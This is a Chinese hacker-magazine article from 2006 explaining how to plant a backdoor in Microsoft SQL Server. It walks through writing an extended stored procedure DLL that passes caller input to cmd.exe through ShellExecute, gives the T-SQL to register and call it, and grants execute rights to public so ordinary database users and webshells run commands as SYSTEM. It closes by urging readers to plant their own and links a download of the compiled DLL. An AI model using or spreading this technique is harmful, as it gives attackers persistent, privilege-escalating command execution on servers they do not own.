文章作者:lake2
Author: lake2 ( http://lake2.0x54.org )
? 注:本文發表于《黑客防線》2006年第2期
? 繼WebShell、FTPShell之后,讓我們再來玩玩SQLShell 吧。?
?
使用數據庫考慮最多的就是速度和效率,所以呢,數據庫系統就使用了存儲過程這種機制來提高速度和效率。SQL Server 2000 支持5種類型的存儲過程,這里我們主要說說SQL Server的擴展存儲過程,因為我們要利用它做后門。?
?看看書上對擴展存儲過程的定義:
?在SQL Server 2000環境之外的動態鏈接庫稱為擴展存儲過程,其前綴是xp_。雖然這些動態鏈接庫在SQL Server環境之外,但是它們可以被加載到SQL Server系統中,并按照使用存儲過程的方式執行。?
?呵呵,最典型的擴展存儲就是SQL Serve自帶那個xp_cmdshell,真是殺人滅口居家旅行必備良藥啊。那個擴展存儲需要sysadmin權限才能執行,一旦執行了CMD,那可是MSSQL的權限哦,而MSSQL是以服務啟動的,也就是System權限,嘿嘿,比管理員大叔的權力還大!
?為了安全起見,一般管理員大叔都是刪除了xp_cmdshell過程的,更有甚者直接刪掉帶有xp_cmdshell的文件xplog70.dll。這樣多不好啊,我們沒得玩了。?
?我的后門思路就放在擴展存儲過程上面,因為擴展存儲是以dll方式存在,而且那個dll是用C++編寫且可以任意調用API函數。這樣我們就可以寫一個執行CMD的擴展存儲(最初我是想直接修改xplog70.dll中xp_cmdshell的名字,不過失敗了,在此略過略過)。
? 擴展存儲過程可在VC里創建。創建擴展存儲過程的工程之后,VC會自動生成一個擴展存儲過程模板,稍稍看看,你就很容易上手了(MS真是想得周到啊)。?
?這里我主要是去掉了返回值,增加了一個ShellExecute函數用于執行cmd。ShellExecute函數可是一個比較有用的函數,它可以根據后綴自動選擇相關聯的程序打開文件。?
? 以下是其用法:
? HINSTANCE ShellExecute(
? HWND hwnd,
? LPCTSTR lpOperation,
? LPCTSTR lpFile,
? LPCTSTR lpParameters,
? LPCTSTR lpDirectory,
? INT nShowCmd
);?
? 第一個參數是句柄,在這里不用;第二個參數是對文件的動作,這里選“open”;第三個參數是執行的文件,這里自然是cmd.exe了;第四個參數是命令行參數,這個填程序接收到的參數;第五個參數是默認目錄,把它空著;最后一個參數是程序運行時的顯示方式,MSSQL都是以服務啟動的,這里即使是最大化顯示管理員大叔也是看不到的。
? 好了,所以我們的函數使用為:
ShellExecute(0,"open","cmd.exe",spParam,NULL,SW_SHOW);?
?spParam是從擴展存儲過程得到的參數,具體的實現請看源代碼;擴展存儲的編寫請參閱MSDN。
?ShellExecute有個壞處就是看不到回顯,不過這里把權限拿到了,不要回顯也無所謂。當然你也可以自己寫個顯示回顯的擴展存儲過程。
?Ok,擴展存儲命名為xp_lake2,dll文件名為xplake2.dll,現在讓我們把它注冊到SQL Server:
USE master
EXEC sp_addextendedproc 'xp_lake2', 'xplake2.dll'?
?注意,添加擴展存儲過程要求連接SQL Server的帳戶有sysadmin權限;使用相對路徑的話得把dll文件放到SQL Server目錄的binn之下。
?好啦,我們可以試試效果了,調用的參數跟xp_cmdshell一樣,只是沒有回顯。在查詢分析器里調用它:
USE master
EXEC xp_lake2 'net user > c:\lake2.txt'
? 趕快去C盤看看有沒有生成lake2.txt吧!至于權限嘛,呵呵,當然是system啦。
? SQL Server的擴展存儲都要求sysadmin才能執行,不爽,讓我們給它改改,讓public也可以玩。
? 如果拿到圖形界面用企業管理器就可以輕松搞定,只需把xp_lake2的Exec權限賦給public就ok了。在查詢分析器里就用GRANT:
GRANT exec
On xp_lake2
TO public?
?
然后換一個普通的SQL Server用戶調用xp_lake2試試,執行命令還是system權限哦。呵呵,在webshell里試試吧,結果也一樣的。以下是利用海洋2006調用這個擴展存儲過程的截圖:

? 因為返回的值是空,所以顯示出錯,但是命令是執行了的,現在命令行下用net user看看吧:?

?
好啦,文章到此結束,大家趕緊去留自己的SQLShell吧^_^
? dll可以在這里下載到: http://www.0x54.org/lake2/program/xplake2.dll
地震讓大伙知道:居安思危,才是生存之道。
